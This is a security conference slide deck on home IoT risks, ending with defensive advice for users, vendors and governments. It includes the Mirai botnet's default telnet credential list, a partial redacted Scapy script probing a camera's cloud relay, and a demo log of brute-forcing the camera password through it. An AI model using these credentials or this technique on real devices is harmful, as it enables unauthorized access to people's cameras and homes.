IoT security is a nightmare. But what is the real risk?
root@kali:~# whoami

Zoltán Balázs
root@kali:~# whoami
I’m NOT a CEH

Creator of the Zombie Browser Toolkit
https://github.com/Z6543/ZombieBrowserPack

Creator of the HWFW Bypass tool
– Idea later(?) implemented by nation state attackers in Duqu 2.
https://github.com/MRGEffitas/hwfwbypass

Creator of the Malware Analysis Sandbox Tester tool
https://github.com/MRGEffitas/Sandbox_tester

Invented the idea of encrypted exploit delivery via Diffie-Hellman key exchange, to bypass exploit detection appliances
– Implemented by Angler and Nuclear exploit kit developers
How did I get into this?

I bought an IP camera for home use
Found multiple high severity issues
Notified manufacturer, published blogpost
After one year, no patch available

The question is:
• Now what?

Vendor name censored to protect the identity of the guilty
Examples of terrible home IoT devices

- IP Camera
- Router
- Baby monitor
- Smart home
- NAS
- Smart cars
Mandatory Shodan slide

https://www.shodan.io/search?query=nas
https://images.shodan.io/?query=camera
Assumptions

For the next ~5-10 years, assume

- Your IoT device has horrible security holes
- It won’t receive any patches, ever

For the sake of this presentation, I assumed:

- The IoT device is not intentionally malicious
- Is not preloaded with malware

I know, I am an optimistic guy \_\_(_\_\_)_/\_
IoT Security Excuses

a.k.a #YOLOSEC
I am safe, I changed all IoT passwords

https://www.youtube.com/watch?v=4YDgBSq1kB0

12345 ?
That's amazing, I have the same combination on my luggage!
I am safe, I changed all IoT passwords

Vulnerabilities bypassing password protection

- Memory corruption issues (BoF, Format string, …)
- CSRF (later)
- Backdoor accounts
- Lack of brute-force protection
- …
## Mirai Telnet passwords

<table>
<thead>
<tr>
<th>User</th>
<th>Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>root</td>
<td>xc3511</td>
</tr>
<tr>
<td>root</td>
<td>vizxv</td>
</tr>
<tr>
<td>root</td>
<td>admin</td>
</tr>
<tr>
<td>admin</td>
<td>admin</td>
</tr>
<tr>
<td>root</td>
<td>888888</td>
</tr>
<tr>
<td>root</td>
<td>xmhdipc</td>
</tr>
<tr>
<td>root</td>
<td>default</td>
</tr>
<tr>
<td>root</td>
<td>juantech</td>
</tr>
<tr>
<td>root</td>
<td>123456</td>
</tr>
<tr>
<td>root</td>
<td>54321</td>
</tr>
<tr>
<td>support</td>
<td>support</td>
</tr>
<tr>
<td>root</td>
<td>(none)</td>
</tr>
<tr>
<td>admin</td>
<td>password</td>
</tr>
<tr>
<td>root</td>
<td>root</td>
</tr>
<tr>
<td>root</td>
<td>12345</td>
</tr>
<tr>
<td>user</td>
<td>user</td>
</tr>
<tr>
<td>admin</td>
<td>(none)</td>
</tr>
<tr>
<td>root</td>
<td>pass</td>
</tr>
<tr>
<td>admin</td>
<td>smcadmin</td>
</tr>
<tr>
<td>admin</td>
<td>1111</td>
</tr>
<tr>
<td>root</td>
<td>666666</td>
</tr>
<tr>
<td>root</td>
<td>ubnt</td>
</tr>
<tr>
<td>root</td>
<td>666666</td>
</tr>
<tr>
<td>root</td>
<td>root</td>
</tr>
<tr>
<td>root</td>
<td>root</td>
</tr>
<tr>
<td>guest</td>
<td>12345</td>
</tr>
<tr>
<td>guest</td>
<td>12345</td>
</tr>
<tr>
<td>root</td>
<td>ikwb</td>
</tr>
<tr>
<td>root</td>
<td>dreambox</td>
</tr>
<tr>
<td>root</td>
<td>user</td>
</tr>
<tr>
<td>root</td>
<td>realtek</td>
</tr>
<tr>
<td>root</td>
<td>00000000</td>
</tr>
<tr>
<td>admin</td>
<td>11111111</td>
</tr>
<tr>
<td>admin</td>
<td>1234</td>
</tr>
<tr>
<td>admin</td>
<td>12345</td>
</tr>
<tr>
<td>admin</td>
<td>7ujMko0admin</td>
</tr>
<tr>
<td>admin</td>
<td>12345</td>
</tr>
<tr>
<td>admin</td>
<td>7ujMko0admin</td>
</tr>
<tr>
<td>admin</td>
<td>7ujMko0admin</td>
</tr>
<tr>
<td>admin</td>
<td>1234</td>
</tr>
<tr>
<td>admin</td>
<td>pass</td>
</tr>
<tr>
<td>admin</td>
<td>meinsm</td>
</tr>
<tr>
<td>tech</td>
<td>tech</td>
</tr>
<tr>
<td>tech</td>
<td>tech</td>
</tr>
<tr>
<td>root</td>
<td>system</td>
</tr>
<tr>
<td>root</td>
<td>mother</td>
</tr>
<tr>
<td>root</td>
<td>fucker</td>
</tr>
</tbody>
</table>
I am safe, I regularly patch all of my IoT devices
I am safe, I regularly patch all of my IoT devices

Patches are late by years
Most IoT devices do not get a patch, EVER
Problems with direct IPv4 connection

If your IoT device has an Internet routable IPv4 address, without any firewall port filtering
Just prepare for apocalypse
Seriously, don’t do that
CCTV is OCTV today
Problems with direct IPv4 connection

“These devices will show up on #Shodan like a hooker on a highway“

https://twitter.com/DEYCrypt/status/700426858719006721
The IoT device is only available in a closed network
The IoT device is only available in a closed network

Uconnect computers are linked to the Internet by Sprint’s cellular network, and only other Sprint devices can talk to them. So Miller has a cheap Kyocera Android phone connected to his battered MacBook. He’s using the burner phone as a Wi-Fi hot spot, scouring for targets using its thin 3G bandwidth.

fuck were you thinking???
The device is only exposed in my area physically nearby to open WiFi

Close the window! You're letting the WiFi out.
The device is only exposed in my area.
Physically nearby to open WiFi.

My neighbor has an unsecured, wireless printer. I just sent this document to it.

Hello.
I am your printer.
I have become self-aware.
Feed me ink or I'll print out your search history when your wife is home alone.
The device is only exposed in my area

Smart rifle hacking – open WiFi

Full of FUD

— but still, interesting research based on the devices you can expect to network connected

- Hacking a Linux-Powered Rifle

Credit: Runa Sandvik and Michael Auger

If a hacked and out of control car on the freeway doesn’t scare you into never leaving the house, maybe a hacked precision-guided rifle will. Runa and Michael showed just how this nightmare scenario could come true. When asked why they’d hack a firearm, Runa replied: "Because cars are boring." Tell that to Andy Greenberg.
I am safe, home network, behind NAT
NAT is sneaky evil

Due to NAT:

- Users believe they are safe behind home router NAT
- Developers created ways to connect devices behind NAT, seamlessly

What could possibly go wrong?

https://youtu.be/v26BAlfWBm8

But, but NATs are good …
I am safe, home network, behind NAT

Think again

- UPNP
- IPv6
- Teredo
- Cloud
### UPnP

#### Current UPnP Status:
- **Enabled**
  - **Disable**

#### Current UPnP Settings List

<table>
<thead>
<tr>
<th>ID</th>
<th>App Description</th>
<th>External Port</th>
<th>Protocol</th>
<th>Internal Port</th>
<th>IP Address</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Deluge 1.3.6 at 192.168.2.102:3</td>
<td>36456</td>
<td>TCP</td>
<td>36456</td>
<td>192.168.2.102</td>
<td>Enabled</td>
</tr>
</tbody>
</table>

[Refresh]
Using IPv6 with Linux? You’ve likely been visited by Shodan and other scanners

Shodan caught using time-keeping servers to quietly harvest IP addresses.

by Dan Goodin - Feb 1, 2016 5:45pm CET

One of the benefits of the next-generation Internet protocol known as IPv6 is the enhanced privacy it offers over its IPv4 predecessor. With a staggering $2^{128}$ (or about $3.4 \times 10^{38}$) theoretical addresses available, its IP pool is immune to the types of systematic scans that criminal hackers and researchers routinely perform to locate vulnerable devices and networks with IPv4 addresses. What’s more, IPv6 addresses can contain regularly changing, partially randomized extensions. Together, the IPv6 features cloak devices in a quasi anonymity that’s not possible with IPv4.
IPv6

Market for private IPv6
Timespan for private IPv6 addresses: ~1 day
ICMP means every device is reachable
  • network stack hack possible
Predictable IPv6 addresses (mostly enterprise)
  • ::0, ::1, ::2, ::service_port, ::IPv4, ::1000-::2000, ::100-::200, ::1.0-::1-2000, ::b00b:babe
Reverse DNS enumeration (mostly enterprise) - dnsrevenum6
Zone transfer … AXFR … (mostly enterprise)
DNSSEC chain walk (mostly enterprise)
DNS brute force (mostly enterprise) – dnsdict6
Recommended:
  • Marc van Hauser: IPv6 insecurity revolutions
  • THC IPv6
Teredo NAT hole

Teredo client

IPv4

Teredo relay

1.

2.

3.

3.

Firewall

IPv4

Teredo server

IPv6 peer

1ce:c01d:bee2:15:a5:900d:a5:11fe

IPv6

IPv6


Teredo relay

4.

IPv4

Teredo client

5.

5.
According to a study by Arbor Networks, the 2008 adoption of IPv6 by µTorrent caused a 15-fold increase in IPv6 traffic across the Internet over a ten-month period.
IP camera cloud hack
IP camera cloud hack

This research is work in progress

- Lot of stuff to fine-tune, research

The camera has an Android/iOS app
The app can connect to the IP camera even when it is behind NAT, no port forward
But how???
Problems with IPv4 and NAT

Direct connection not possible
Cloud server
IP: 67.198.XXX.XXX:32100

Keep Alive

Where can I find IP camera 123456-ABCDE?

Local IP is 192.168.1.7, the public IP is 11.22.33.44
cloud relay server 2 at 55.66.77.88

WTF, can't connect to 11.22.33.44 directly,
it is behind NAT/firewall

Hey bro, here is a client from 110.2.4.6,
can you connect to it?

Yo, I heard you tried to connect to me,
now you can connect, I opened a UDP tunnel to you

Yo, thanks, is 1337 the admin password?

Hell yeah, you are the 1336th visitor asking,
but you are finally right!

Awesome, can you please send me the FTP, email, WiFi login
details in clear-text please? The admin password is still 1337

Sure, what could possible go wrong?
FTP password is 1234, e-mail password is 12345 and WiFi password is Password1

---

Thanks man, you are the best!
from scapy.all import *
import time
from threading import Thread

login_server = "REDACTED"
login_port = 32100
my_id = "REDACTED"

my_packet = "\xf1\x20\x00\x24\x50\x53\x44\x00\x00\x00\x00\x00\x00\x01\xd5\xa1"+my_id+"\x00\x00\x00\x00\x00\x02\x33\x6f\x68\x02\xa8\xc0\x00\x00\x00\x00\x00"+my_id+"\x00\x00"

ans = sr1(IP(dst=login_server)/UDP(dport=login_port,sport=33333)/("\xf1\x00\x00\x00"), timeout = 5, verbose = 0)

t1 = Thread(target=mysniff, args=())
t1.start()

ans = sr1(IP(dst=login_server)/UDP(dport=login_port,sport=33333)/my_packet, timeout = 5, verbose = 0)

t1.join()
a = False
a = sniff(filter="udp and port 33333", count=2, timeout = 5)

if sniff_result:
    try:
        int(sniff_result[3].sprintf("%UDP.sport%"))
        print("Multiple replies received from server, "+my_id+" seems valid :) ")
    except:
        pass  #military grade exception level handler
Demo time

Got UDP reply from IPCAM, we are probably a server, and not behind NAT, W00T
IP: RED.ACT.E.D Port: 23088
Hello IP Camera
It is nice to see you
Is this your password? : 1335
Incorrect username or password

New authentication session started, connecting global cloud server with camera ID PSD-XXXXX-12345 ...
Got UDP reply from IPCAM, we are probably a server, and not behind NAT, W00T
IP: RED.ACT.E.D Port: 18792
Hello IP Camera
It is nice to see you
Is this your password? : 1336
Incorrect username or password

New authentication session started, connecting global cloud server with camera ID PSD-XXXXX-12345 ...
Got UDP reply from IPCAM, we are probably a server, and not behind NAT, W00T
IP: RED.ACT.E.D Port: 25716
Hello IP Camera
It is nice to see you
Is this your password? : 1337
W00T W00T Password found:1337
Rawsniff: `\xf1\xd0\x00\x17\xd1\x00\x00\x00\x00\x00\n`\xa0`\x0b\x00\x00\x00\x01\result=0;\r\n`

root@mrgsrv1:/home/ubuntu/webcam#
I am safe, none of these apply, my home network is Sup3rFirewalled

We will build a great wall along the network perimeter and the customer will pay for the wall!
I am safe, none of these apply, my home network is Sup3rFirewalled.
uBlock demo

uBlock is like Adblock, just better
I use two browsers, one for Internet access

And the other, only use to access internal network
I am safe, I changed the network range from default (192.168.0.0/24)
I am safe, I changed the network range from default (192.168.0.0/24)

WebRTC (Web Real-Time Communication) is an API definition … that supports browser-to-browser applications for voice calling, video calling, and P2P file sharing …

**WebRTC + STUN**

Natively supported in

- Chrome (2012)
- Firefox (2013)
- Opera 18 (2013)
- Edge 21 (2015)
- Blackberry

Not in Safari, mobile Chrome, IE
BeEF demo
IoT development guideline in a Utopia

Secure by design
Tested for security
Patch released if security issues are found
Current IoT development guideline in reality

- Secure by design
- Tested for security
- Patch released if security issues are found
- Cheap
- Be the first on the market
- Linux (Busybox ?) embedded
- Webserver or VNC embedded
THAT MAKES ME A SAAAAAD PANDA
IoT Risks

- UPnP
- Cloud connection
- Tunneling IPv6
- Intranet browser hacking with CSRF
- Intranet browser hacking with CSRF and WebRTC
- Unsecured WiFi
- Intranet browser hacking with CSRF, WebRTC, and DNS Rebind
- High risk
- Limited IPv4
- Medium risk
- Direct IPv4 connection
- IPv6
- Low risk

** depends where you live
* depends how much you browse, and which browser do you use
Lessons learned for home users

Disconnect power cord/remove batteries if IoT is not needed 24/7

Patch (if possible)

Change passwords to complex, non-reused passwords

Disable direct inbound connections (check router)

Disable UPnP (check router)

Filter IPv6 (inbound default deny a’la NAT)

Disable Teredo
Lessons learned for home users

Monitor for tunneling protocols
Prevent CSRF from browser (see uBlock slide)
Scan your home network for new devices (LAN, Bluetooth, new AP, Zigbee, IrDA, FM)
Dedicated network for IoT devices (use old Wi-Fi router)
Separate your guests from your IoT network
Disable WebRTC in browser (Chrome: WebRTC Network Limiter)
Disable cloud connection (on device and/or router/firewall)
Prevent DNS rebind attack – see next slide
Moar tips for home users

Private IP addresses can be filtered out of DNS responses.

- External public DNS servers with this filtering e.g. OpenDNS
- Local sysadmins can configure the organization's local nameservers to block the resolution of external names into internal IP addresses.
- DNS filtering in a firewall or daemon e.g. dnswall

Firefox NoScript ABE feature
“Smart devices will make our life easier”

Maybe in ~2100, but until then, they will make our life a nightmare
My best advice: don’t buy IoT devices ;)
Lessons learned for IoT vendors

SDLC
Continuous security testing and bug bounties
Seamless auto-update
Opt-in cloud
Lessons learned for governments

Follow Federal Trade Commission FTC – fine vendors who put users at risk to maximize profit

References, interesting links

Best IoT Talk ever! 115 batshit stupid things you can put on the internet in as fast as I can go by Dan Tentler

https://www.youtube.com/watch?v=hMtu7vV_HmY

https://github.com/mandatoryprogrammer/sonar.js/tree/master

https://jumpespjump.blogspot.com/2015/08/how-to-secure-your-home-against.html


There is no "cloud", just other peoples computers. There is no "internet of things", just other peoples computers in your house.

#cloud #IoT

The problem with building a "smart home" is that you end up with a mini data-centre minus the admin & security folk.
Hack the planet!
One computer at a time …

zoltan.balazs@mrg-effitas.com

https://hu.linkedin.com/in/zbalazs

Twitter – @zh4ck

www.slideshare.net/bz98

Greetz to @CrySySLab, @SpamAndHex

Thx to Attila Bartfai for the conversation starter

JumpESPJump.blogspot.com